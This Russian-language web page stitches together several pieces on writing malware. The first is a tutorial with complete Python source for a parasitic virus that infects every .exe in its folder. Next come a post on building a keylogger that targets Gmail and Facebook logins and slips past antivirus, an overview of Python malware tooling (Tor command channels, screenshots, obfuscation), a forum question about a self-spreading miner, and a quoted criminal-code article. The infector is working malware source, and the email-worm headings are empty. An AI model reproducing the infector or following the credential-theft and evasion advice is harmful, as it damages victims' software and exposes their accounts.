Как написать сетевой вирус
Обновлено: 22.04.2024
Новый год — самое время для легких извращений. Хотя для тебя, читающего эту статью практически весной, год уже не новый, да и сама идея изучения вируса, написанного на питоне, может показаться вовсе даже не легким извращением…
Как известно, с помощью питона можно решать множество повседневных, рутинных задач: периодическое резервное копирование файлов, отправка писем по электронной почте, поиск и выполнение различных действий с файлами на жестком диске и прочее. Так как Python является языком программирования высокого уровня, то и вирусы на нем можно писать соответствующие. Зловреды, созданные с помощью ЯВУ, обычно классифицируются как HLLx (High Level Language, x — метод размножения).
Существуют три основных подвида HLLx-вирусов: оверврайтеры (Overwrite) — HLLO, компаньоны (Companion) — HLLC и паразиты (Parasitic) — HLLP.
Первые являются достаточно примитивными программами, которые просто перезаписывают код жертвы своим кодом, вследствие чего оригинальная программа перестает существовать. Такие вирусы очень просты и весьма разрушительны. В результате эпидемии такой заразы пользовательский компьютер практически полностью лишается всего установленного ПО. Ничем иным кроме вандализма это назвать нельзя.
В связи с тем, что как HLLO-, так и HLLC-вирусы слишком примитивны и практически не встречаются в дикой природе, мы займемся разработкой здовреда-паразита. Основной метод, используемый ими для заражения — внедрение в один файл с кодом-жертвой.
Таким образом сохраняется код оригинальной программы, и при этом не появляется никаких лишних следов.
Код HLLP-вируса
import sys
import os
import shutil
virPath = os.path.split(sys.argv[0]);
names = os.listdir('.');
fvir = open(sys.argv[0], 'rb');
virData = fvir.read(19456);
for name in names:
namePair = os.path.splitext(name);
if namePair[1] == '.exe' and
name != virPath[1]:
os.rename(name, name + 'tmp');
fprog = open(name + 'tmp', 'rb');
progData = fprog.read();
fnew = open(name, ‘wb’);
fnew.write(virData + progData);
fnew.close();
fprog.close();
os.remove(name + 'tmp');
origProgData = fvir.read();
origProg = 'original_' + virPath[1];
forig = open(origProg, 'wb');
forig.write(origProgData);
fvir.close();
forig.close();
os.execl(origProg, ' ');
Первым делом мы подключаем три модуля: sys, os, shutil. Модуль sys дает доступ к переменным, которые тесно связаны с интерпретатором или с выполняемым скриптом. Так, например, мы получаем имя выполняемого скрипта с помощью команды sys.argv[0]. Модуль os дает возможность выполнения команд, зависящих от операционной системы. Например, получить список файлов в директории, произвести над ними некоторые операции и так далее. Наконец, модуль shutil дает возможность копировать и перемещать файл на жестком диске.
После импорта нужных нам модулей мы узнаем имя файла, в котором содержится исходный код вируса. Затем с помощью команды os.listdir('.') получаем список файлов в текущей директории и проверяем, является ли очередной объект в списке экзешником.
Если проверка это подтверждает, то инфицируем найденный файл, просто заменив его собой. Если ты читал внимательно, то заметил, что в условии оператора if присутствует еще вот такая инструкция:
а перед этим выполняется команда
Для чего это нужно, я расскажу в конце статьи, а пока двинемся дальше. Перед оператором if мы считываем в память собственное содержимое. Делается это с помощью команды fvir. read(19456). Число 19456 — это длина вируса (мы ведь должны учесть, что в файле находится не только вирус, но и жертва). Почему эта длина именно такая, я скажу чуть позже. Следующим шагом находим в текущей папке все exe’шники и заражаем их. Для этого, заранее переименовав невинную программку, мы читаем ее код в буфер, затем создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после — считанный только что буфер. Далее сохраняем все это хозяйство и удаляем оригинальный файл жертвы с помощью команды os.remove(name+'tmp').
Теперь наступает самый ответственный момент — нам надо запустить оригинальный код, который мы предварительно засунули внутрь зловреда. Для этого просто читаем оставшиеся данные из образа вируса (мы ведь помним, что уже читали 19456 байт и указатель сместился в файле на эту позицию?), а затем сохраняем полученные данные во временный exe, который потом запускаем. Таким образом вирус корректно отработал, и при этом запустил нужную для пребывающего в счастливом неведении пользователя программу.
Конечно, наш зловред получился вовсе не без недостатков. Например, он не проверяет, инфицирован ли уже экзешник или нет, да и вбивать в код размер конечного файла вируса — не совсем удачное решение. Кроме того, у нашего питомца будут возникать проблемы при первом запуске, когда в образе находится только тело виря, а тело жертвы отсутствует. Но все эти проблемы при определенном старании вполне решаемы.
Главное для нас — продемонстрировать принцип работы.
Сетевой червь
Мы сделали классического инфектора, который распространяется путем заражения близлежащих программ. Но ведь есть еще и сетевые черви, которые используют интернет для порабощения мира. Зловреды такого типа не интересуются файловой системой компьютера, им нужен доступ в сеть.
Для распространения черви пользуются дырами в операционной системе и прикладных программах, рассылают себя по электронной почте и так далее. Мы попробуем сделать вирус, который будет использовать именно e-mail’ы.
Отправка письма
Отправка письма с вложением
Несколько замечаний
В связи с тем, что наши вирусы будут выполняться не как скрипты, а как полноценные win-приложения, в коде встретилась пара непонятных вещей, о которых я обещал рассказать позже. Первая из них — это вызов os.path.split(). Дело в том, что если мы запускаем питон-скрипт, то команда sys.argv[0] возвращает имя этого скрипта (например, virus.py). В случае же с exeфайлом результат будет другой — полный путь и имя экзешника (C:\Windows\virus.exe). А так как для дальнейших злодеяний нам нужно только имя файла, то мы вызываем os.path.split().
Еще одна загадка — это число 19456. Но тут уже легко можно догадаться, что это размер exe, полученного после конвертации скрипта. Ровно столько у меня весил зловред после своего перерождения в бинарный формат.
Заключение
Конечно, написание зловредов на Python — то еще извращение, но при большом желании такие поделки можно отшлифовать до нужной степени работоспособности, поставить на полку и всем показывать. К тому же вирус будет кроссплатформенным, а этим не каждый крутой вирмейкер может похвастаться :).
Хакерский мир можно условно разделить на три группы атакующих:
Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.
Зачем ИБ-персоналу эти сомнительные навыки?
Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.
Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:
Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
Умный кейлогер
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.
Вторая версия кода:
Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.
Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.
Еще более умный кейлогер
Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
Бесплатно и полностью не обнаружим
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?
Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.
В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.
Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.
В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.
В мире существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому списку можно с абсолютной уверенностью добавить вирусы на Python.
Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях? Желание нагадить ближнему без необходимости учить C/C++? Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?
Если отбросить часть иронии…
… и вникнуть в ситуацию, то становится видно, что адекватные питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.
Есть продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.
Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.
Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.
Упаковка в бинарники
Поскольку Python — язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.
Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса, виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник. Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.
Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.
А шо вирусу делать?
Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить.
Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.
Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor.
Для обмена данными с хозяевами вирусы используют библиотеку torpy. В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным и получаешь апдейты к вирусу или команды.
Работа с tor c этой либой проста, не сложнее requests.
А шо бы своровать?
Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV. Единственное, что вызывает вопросы — как делать скриншоты из Python?
На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.
Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.
Серверная токсичность
Бэкдоры на Python для серверов тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.
Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем. Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.
Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы. Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения.
Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.
Вот и все
Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты.
Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.
Всех приветствую. Слышал и много раз видел скрытые майнеры написанные на высоких ЯП. Как правило, они написаны на C++.Суть его в том, что бы готовый exe майнер сшить с готовой программой и ее распространять. Проблема такого способа в том, что эту заражённую программу нужно распространять самому.
Поэтому я задался вопросом: Можно ли написать на низком уровне (Си и ASM) скрытый вирус- майнер, который будет распространять самого себя по почте или через локальную сеть и в последуюущем вставлять свой код в примитивные программы?
Простой 1 комментарий
Только недавно один "хакер" тут на 272-ю статью напрашивался, а вот и 273-я пригодилась! :)
УК РФ Статья 273. Создание, использование и распространение вредоносных компьютерных программ
(в ред. Федерального закона от 07.12.2011 N 420-ФЗ)
1. Создание, распространение или использование компьютерных программ либо иной компьютерной информации, заведомо предназначенных для несанкционированного уничтожения, блокирования, модификации, копирования компьютерной информации или нейтрализации средств защиты компьютерной информации, -
наказываются ограничением свободы на срок до четырех лет, либо принудительными работами на срок до четырех лет, либо лишением свободы на тот же срок со штрафом в размере до двухсот тысяч рублей или в размере заработной платы или иного дохода осужденного за период до восемнадцати месяцев.
2. Деяния, предусмотренные частью первой настоящей статьи, совершенные группой лиц по предварительному сговору или организованной группой либо лицом с использованием своего служебного положения, а равно причинившие крупный ущерб или совершенные из корыстной заинтересованности, -
наказываются ограничением свободы на срок до четырех лет, либо принудительными работами на срок до пяти лет с лишением права занимать определенные должности или заниматься определенной деятельностью на срок до трех лет или без такового, либо лишением свободы на срок до пяти лет со штрафом в размере от ста тысяч до двухсот тысяч рублей или в размере заработной платы или иного дохода осужденного за период от двух до трех лет или без такового и с лишением права занимать определенные должности или заниматься определенной деятельностью на срок до трех лет или без такового.
3. Деяния, предусмотренные частями первой или второй настоящей статьи, если они повлекли тяжкие последствия или создали угрозу их наступления, -
наказываются лишением свободы на срок до семи лет.
Читайте также: